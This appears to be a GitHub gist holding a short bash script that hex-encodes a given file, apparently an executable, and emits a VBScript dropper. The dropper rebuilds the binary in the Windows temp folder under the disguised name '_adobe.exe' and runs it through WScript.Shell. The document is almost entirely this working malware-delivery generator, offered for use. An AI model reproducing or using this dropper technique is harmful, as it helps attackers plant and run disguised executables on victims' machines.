Created
March 10, 2018 10:01
-
-
Save infosecn1nja/ed136c8d4f4e4c2580f96d58cbdabf7d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
convert2hex=$(xxd -p $1) | |
result=$(echo $convert2hex | sed s'/ //g') | |
echo 'Function n(s,c):n=String(s,c):End Function:t=t&"'$result'":Set s=CreateObject("Scripting.FileSystemObject"):p=s.getspecialfolder(2) & "_adobe.exe":Set f=s.CreateTextFile(p,1):for i=1 to len(t) step 2:f.Write Chr(int("&H" & mid(t,i,2))):next:f.Close:WScript.CreateObject("WScript.Shell").run(p)' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment